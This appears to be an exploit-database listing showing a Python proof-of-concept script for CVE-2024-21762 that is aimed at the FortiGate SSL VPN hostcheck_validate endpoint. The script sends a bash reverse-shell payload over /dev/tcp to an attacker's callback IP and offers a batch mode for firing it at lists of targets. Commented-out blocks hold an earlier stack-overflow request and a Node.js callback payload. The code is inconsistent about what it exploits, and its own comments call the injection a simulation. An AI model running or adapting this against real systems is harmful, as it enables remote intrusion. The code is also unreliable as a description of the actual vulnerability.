Exploit database

GH-0a0b2d1603cea0d309e7ce4b93a18162

0x0asif/cve-2024-21762

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-21762

16 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
0x0asif/cve-2024-21762Revision e96e49655833

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 6,288 bytes
import socket
import time
import argparse
from tqdm import tqdm

CALLBACK_PATH = "ROP-SUCCESS"

def make_sock(target, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(3)
        sock.connect((target, port))
        return sock
    except Exception:
        return None

""" def build_payload(callback_ip, callback_port):
    js_payload = f"require('http').get('http://{callback_ip}:{callback_port}/{CALLBACK_PATH}')"
    form_value = b""
    form_value += b"B" * 11 + b"/bin/node\0"
    form_value += b"B" * 6 + b"-e\0"
    form_value += b"B" * 14 + js_payload.encode("utf-8")
    form_value += b"B" * 500
    form_value += b"ROP_SIMULATION\x90\x90\x90\x90"
    body = (b"B" * 1808 + b"=" + form_value + b"&") * 20
    return body """
def build_payload(callback_ip, callback_port):
    # Legitimate bash reverse shell payload
    reverse_shell = (
    f"bash -c 'bash -i >& /dev/tcp/{callback_ip}/{callback_port} 0>&1'"
)


    # This simulates vulnerable parameter injection into the hostcheck_validate form data
    # Place the payload inside a fake vulnerable field with controlled overflow
    form_field = f"host={reverse_shell}&"
    
    # Pad the body to emulate overflow if required (this depends on the actual vuln behavior)
    body = (form_field * 20).encode("utf-8")
    return body

""" def send_exploit(target, port, callback_ip, callback_port):
    body = build_payload(callback_ip, callback_port)
    data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
    data += b"Host: " + target.encode("utf-8") + b"\r\n"
    data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
    data += b"Content-Type: application/x-www-form-urlencoded\r\n"
    data += b"Connection: close\r\n\r\n"
    data += body
    # immediately after your first send…
    time.sleep(1)
    # make a new socket to trigger the vulnerability
    ssock2 = make_sock(target, port)
    # this chunk length (4137 zeros) + "\r\n\r\n" overflows the stack return pointer area
    data2  = b"POST / HTTP/1.1\r\n"
    data2 += b"Host: " + target.encode() + b"\r\n"
    data2 += b"Transfer-Encoding: chunked\r\n\r\n"
    data2 += b"0"*4137 + b"\r\n\r\n"
    ssock2.sendall(data2)
    ssock2.close()

    sock = make_sock(target, port)
    if not sock:
        return False, "Connection failed"
    
    try:
        sock.sendall(data)
        time.sleep(1)
        sock.close()
        return True, "Payload sent"
    except Exception as e:
        return False, str(e) """
        
def send_exploit(target, port, callback_ip, callback_port):
    body = build_payload(callback_ip, callback_port)
    data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
    data += f"Host: {target}\r\n".encode()
    data += f"Content-Length: {len(body)}\r\n".encode()
    data += b"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) FortiSSLVPNClient/6.4.0\r\n"
    data += b"Content-Type: application/x-www-form-urlencoded\r\n"
    data += b"Cookie: SVPNCOOKIE=AAAA\r\n"
    data += b"Connection: close\r\n\r\n"
    data += body

    sock = make_sock(target, port)
    if not sock:
        return False, "Connection failed"

    try:
        """ sock.sendall(data)
        time.sleep(1)
        sock.close() """
        sock.sendall(data)
        response = b""
        while True:
            try:
                chunk = sock.recv(4096)
                if not chunk:
                    break
                response += chunk
            except:
                break
        sock.close()

        with open("last_response.txt", "wb") as f:
            f.write(response)

        return True, f"Payload sent, response saved to last_response.txt"
        #return True, "Payload sent"
    except Exception as e:
        return False, str(e)

def handle_single_mode(ip, port, callback_ip, callback_port):
    print(f"[*] Sending exploit to {ip}:{port}")
    with tqdm(total=100) as pbar:
        pbar.update(10)
        success, msg = send_exploit(ip, port, callback_ip, callback_port)
        pbar.update(80)
        time.sleep(0.5)
        pbar.update(10)

    if success:
        print(f"[+] Exploit sent to {ip}:{port}")
        print(f"[!] Monitor for callback: http://{callback_ip}:{callback_port}/{CALLBACK_PATH}")
    else:
        print(f"[-] Failed to exploit {ip}:{port}: {msg}")

def handle_batch_mode(input_file, output_file, callback_ip, callback_port):
    with open(input_file, "r") as f:
        targets = [line.strip() for line in f if line.strip()]

    results = []
    print(f"[*] Starting batch exploit run against {len(targets)} targets...")

    for entry in tqdm(targets):
        if ":" not in entry:
            results.append(f"{entry} => SKIPPED (invalid format)")
            continue
        ip, port = entry.split(":")
        success, msg = send_exploit(ip.strip(), int(port.strip()), callback_ip, callback_port)
        status = "OK" if success else "FAIL"
        results.append(f"{ip}:{port} => {status} ({msg})")

    with open(output_file, "w") as f:
        f.write("\n".join(results))
    print(f"[+] Results written to {output_file}")

def main():
    parser = argparse.ArgumentParser(description="Node.js RCE PoC Test Tool")
    parser.add_argument("--target", help="Single target (format: IP:PORT)")
    parser.add_argument("--input", help="Input file with targets (format: IP:PORT per line)")
    parser.add_argument("--output", help="Output file for batch results")
    parser.add_argument("--callback-ip", required=True, help="Your callback IP address")
    parser.add_argument("--callback-port", required=True, type=int, help="Your callback port")

    args = parser.parse_args()

    if args.target:
        if ":" not in args.target:
            print("[-] Invalid --target format. Use IP:PORT")
            return
        ip, port = args.target.split(":")
        handle_single_mode(ip.strip(), int(port.strip()), args.callback_ip, args.callback_port)

    elif args.input:
        if not args.output:
            print("[-] Batch mode requires --output file")
            return
        handle_batch_mode(args.input, args.output, args.callback_ip, args.callback_port)

    else:
        print("[-] You must specify either --target or --input")
        parser.print_help()

if __name__ == "__main__":
    main()